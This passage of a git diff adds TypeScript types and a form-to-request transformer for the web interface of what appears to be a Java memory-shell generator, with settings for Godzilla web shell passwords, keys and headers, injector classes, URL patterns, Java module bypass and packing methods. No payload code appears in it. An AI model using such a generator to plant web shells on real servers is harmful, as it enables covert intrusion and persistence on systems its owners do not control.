+ }; +} + +export interface PackerConfig { + [packerName: string]: string; +} + +export interface GenerateResponse { + packResult: string; + generateResult: GenerateResult; +} + +export interface APIErrorResponse { + error: string; +} + +export interface GenerateResult { + shellClassName: string; + shellSize: number; + shellBytesBase64Str: string; + injectorClassName: string; + injectorSize: number; + injectorBytesBase64Str: string; + shellConfig: ShellConfig; + shellToolConfig: CommandShellToolConfig | GodzillaShellToolConfig; + injectorConfig: InjectorConfig; +} diff --git a/web/src/utils/transformer.ts b/web/src/utils/transformer.ts new file mode 100644 index 00000000..e1959468 --- /dev/null +++ b/web/src/utils/transformer.ts @@ -0,0 +1,31 @@ +import { FormSchema } from "@/types/schema.ts"; +import { InjectorConfig, ShellConfig, ShellToolConfig } from "@/types/shell.ts"; + +export function transformToPostData(formValue: FormSchema) { + const shellConfig: ShellConfig = { + server: formValue.server, + shellTool: formValue.shellTool, + shellType: formValue.shellType, + targetJreVersion: formValue.targetJdkVersion, + byPassJavaModule: formValue.bypassJavaModule, + }; + const shellToolConfig: ShellToolConfig = { + shellClassName: formValue.shellClassName, + godzillaPass: formValue.godzillaPass, + godzillaKey: formValue.godzillaKey, + godzillaHeaderName: formValue.godzillaHeaderName, + godzillaHeaderValue: formValue.godzillaHeaderValue, + commandParamName: formValue.commandParamName, + }; + + const injectorConfig: InjectorConfig = { + urlPattern: formValue.urlPattern, + className: formValue.injectorClassName, + }; + return { + shellConfig, + shellToolConfig, + injectorConfig, + packer: formValue.packingMethod, + }; +} diff --git a/web/tsconfig.app.tsbuildinfo b/web/tsconfig.app.tsbuildinfo new file mode 100644 index 00000000..0e95ab56 --- /dev/null +++ b/web/tsconfig.app.tsbuildinfo @@ -0,0 +1 @@ +{"root":["./src/config.ts","./src/main.tsx","./src/routetree.gen.ts","./src/components/code-viewer.tsx","./src/components/main-config-card.tsx","./src/components/mode-toggle.tsx","./src/components/package-config-card.tsx","./src/components/shell-result.tsx","./src/components/tailwind-indicator.tsx","./src/components/theme-provider.tsx","./src/components/tips/jre-tip.tsx","./src/components/tips/url-pattern-tip.tsx","./src/components/ui/alert.tsx","./src/components/ui/button.tsx","./src/components/ui/card.tsx","./src/components/ui/checkbox.tsx","./src/components/ui/dropdown-menu.tsx","./src/components/ui/form.tsx","./src/components/ui/input.tsx","./src/components/ui/label.tsx","./src/components/ui/radio-group.tsx","./src/components/ui/select.tsx","./src/components/ui/separator.tsx","./src/components/ui/sonner.tsx","./src/components/ui/switch.tsx","./src/components/ui/tabs.tsx","./src/components/ui/textarea.tsx","./src/components/ui/tooltip.tsx","./src/lib/utils.ts","./src/routes/__root.tsx","./src/routes/index.tsx","./src/types/schema.ts","./src/types/shell.ts","./src/utils/transformer.ts"],"version":"5.7.2"} \ No newline at end of file diff --git a/web/tsconfig.node.tsbuildinfo b/web/tsconfig.node.tsbuildinfo new file mode 100644 index 00000000..1e7ed279 --- /dev/null +++ b/web/tsconfig.node.tsbuildinfo @@ -0,0 +1 @@ +{"root":["./vite.config.ts"],"version":"5.7.2"} \ No newline at end of file